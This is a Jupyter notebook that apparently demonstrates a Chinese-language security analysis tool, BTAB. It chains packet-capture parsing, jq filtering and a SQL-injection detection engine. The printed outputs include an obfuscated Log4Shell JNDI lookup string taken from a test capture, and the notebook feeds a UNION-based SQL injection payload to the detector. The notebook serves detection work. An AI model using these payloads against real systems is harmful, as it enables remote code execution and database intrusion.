investigation/btab_example.ipynb

{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 82,
   "id": "94e11081-2a6d-4ba8-8d0a-f438a117b3c1",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "连接成功\n",
      "检查完成\n"
     ]
    }
   ],
   "source": [
    "# ---------------------------------\n",
    "# 初始化\n",
    "# ---------------------------------\n",
    "import json\n",
    "\n",
    "# 加载 gRPC 模块接口\n",
    "from btab import BTAB, Engines, Search\n",
    "\n",
    "# 初始化系统\n",
    "btabIns = BTAB()\n",
    "if btabIns.Ping().Type == \"success\":\n",
    "    print(\"连接成功\")\n",
    "\n",
    "# 检查所有可用引擎\n",
    "eg = Engines()\n",
    "if eg.CheckAlive().Type == \"success\":\n",
    "    print(\"检查完成\")"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 38,
   "id": "39c02275-0673-4958-81f4-326e7708fc3a",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "2"
      ]
     },
     "execution_count": 38,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "\n",
    "# 初始化查询\n",
    "# 设置连接设备\n",
    "search = Search()\n",
    "\n",
    "# ====================================\n",
    "# 使用 pcap 模块\n",
    "# ====================================\n",
    "\n",
    "# 进行查询\n",
    "content = \"\"\"\n",
    "// 拉取数据\n",
    "| pcap\n",
    "|: file log4j_test.pcap\n",
    "|: fields [\"ip.src\", \"tcp.srcport\", \"ip.dst\", \"tcp.dstport\",\"text\"]\n",
    "|: condition http\n",
    "\"\"\"\n",
    "result1 = search.Submit(content)\n",
    "# print(result1)\n",
    "# print(result1.Result)\n",
    "results = json.loads(result1.Result)\n",
    "len(results)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 42,
   "id": "5750b09c-c3db-4be3-8e23-1bc25873c9cd",
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "1971"
      ]
     },
     "execution_count": 42,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# 进行查询\n",
    "content = \"\"\"\n",
    "// 拉取数据\n",
    "| pcap\n",
    "|: file log4j_test.pcap\n",
    "\"\"\"\n",
    "result2 = search.Submit(content)\n",
    "# print(result2.Result)\n",
    "results = json.loads(result2.Result)\n",
    "len(results)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 44,
   "id": "23e4bb75-3cca-41f0-bd68-94321572d6ad",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "{\"baz\":123}\n"
     ]
    }
   ],
   "source": [
    "# ====================================\n",
    "# 使用 jq 模块\n",
    "# ====================================\n",
    "\n",
    "content = \"\"\"\n",
    "| jq\n",
    "|: filter .foo.bar\n",
    "|: content { \"foo\": { \"bar\": { \"baz\": 123 } } , \"boo\":\"123\"}\n",
    "\"\"\"\n",
    "result3 = search.Submit(content)\n",
    "print(result3.Result)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 48,
   "id": "99cb8905-3d79-4d0c-af00-aeea92138020",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "['Form item: \"a\" = \"${jndi:ld${:gfdsghsfdhsdfh:-a}p://127.0.0.1:1111/f${lower:s}ad}\"']"
      ]
     },
     "execution_count": 48,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# ====================================\n",
    "# 多引擎模块组合\n",
    "# ====================================\n",
    "\n",
    "# 进行查询\n",
    "content = \"\"\"\n",
    "// 拉取数据\n",
    "| pcap\n",
    "|: file log4j_test.pcap\n",
    "|: fields [\"ip.src\", \"tcp.srcport\", \"ip.dst\", \"tcp.dstport\",\"text\"]\n",
    "|: condition http\n",
    "| jq\n",
    "|: filter .[0] | .text[-1:]\n",
    "|: content {{R}}\n",
    "\"\"\"\n",
    "result4 = search.Submit(content)\n",
    "# print(result4.Result)\n",
    "json.loads(result4.Result)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 49,
   "id": "1cc694ce-e015-45fa-8392-3d6da1c9ff42",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'code': 20000,\n",
       " 'message': '发现sql注入',\n",
       " 'result': \"检测到SQL注入,内容为【' union select concat(md5(2001427499))#】, 词法为：【sUEf(】\",\n",
       " 'type': 'success'}"
      ]
     },
     "execution_count": 49,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# ====================================\n",
    "# 调用引擎模块\n",
    "# ====================================\n",
    "\n",
    "# 进行查询\n",
    "content = \"\"\"\n",
    "| sqli\n",
    "|: content ' union select concat(md5(2001427499))#\n",
    "\"\"\"\n",
    "result5 = search.Submit(content)\n",
    "# print(result5.Result)\n",
    "json.loads(result5.Result)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 65,
   "id": "030bebb1-4c69-4f25-be56-8dbc6295bbb6",
   "metadata": {},
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'code': 40400,\n",
       " 'message': '未检测到sql注入',\n",
       " 'result': '未发现SQL注入 false \\n',\n",
       " 'type': 'success'}"
      ]
     },
     "execution_count": 65,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "\n",
    "content = \"\"\"\n",
    "// 拉取数据\n",
    "| pcap\n",
    "|: file sqlinjection_9.pcap\n",
    "|: fields [\"http.request.uri\"]\n",
    "|: condition http\n",
    "\n",
    "// 处理 json 获取 uri\n",
    "| jq\n",
    "|: filter .[].[\"http.request.uri\"][0]\n",
    "|: content {{R}}\n",
    "\n",
    "// 调用 sql注入检测引擎检测\n",
    "| sqli\n",
    "|: content {{R}}\n",
    "\"\"\"\n",
    "result6 = search.Submit(content)\n",
    "# print(result6.Result)\n",
    "json.loads(result6.Result)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 87,
   "id": "1583ff94-0e3f-4b8b-8f8d-701938d12800",
   "metadata": {
    "editable": true,
    "slideshow": {
     "slide_type": ""
    },
    "tags": []
   },
   "outputs": [
    {
     "data": {
      "text/plain": [
       "{'code': 20000,\n",
       " 'message': '发现sql注入',\n",
       " 'result': \"检测到SQL注入,内容为【' union select concat(md5(2001427499))#】, 词法为：【sUEf(】\",\n",
       " 'type': 'success'}"
      ]
     },
     "execution_count": 87,
     "metadata": {},
     "output_type": "execute_result"
    }
   ],
   "source": [
    "# ====================================\n",
    "# 多流管道示例\n",
    "# ====================================\n",
    "\n",
    "content = \"\"\"\n",
    ": a  ' union select concat(md5(2001427499))#\n",
    ": b { \"foo\": { \"bar\": { \"baz\": 123 } } , \"boo\":\"123\"}\n",
    ": c { \"foo\": { \"bar\": { \"baz\": \"' union select concat(md5(2001427499))#\" } } , \"boo\":\"123\"}\n",
    "\n",
    "| jq\n",
    "|: filter .foo.bar\n",
    "|: content {{c}}\n",
    "\n",
    "| jq\n",
    "|: filter .foo.bar\n",
    "|: content {{b}}\n",
    "\n",
    "| jq\n",
    "|: filter .baz\n",
    "|: content {{R[0]}}\n",
    "\n",
    "\n",
    "| sqli\n",
    "|: content {{R}}\n",
    "\n",
    "\"\"\"\n",
    "result7 = search.Submit(content)\n",
    "# print(result7.Result)\n",
    "json.loads(result7.Result)"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.11.8"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}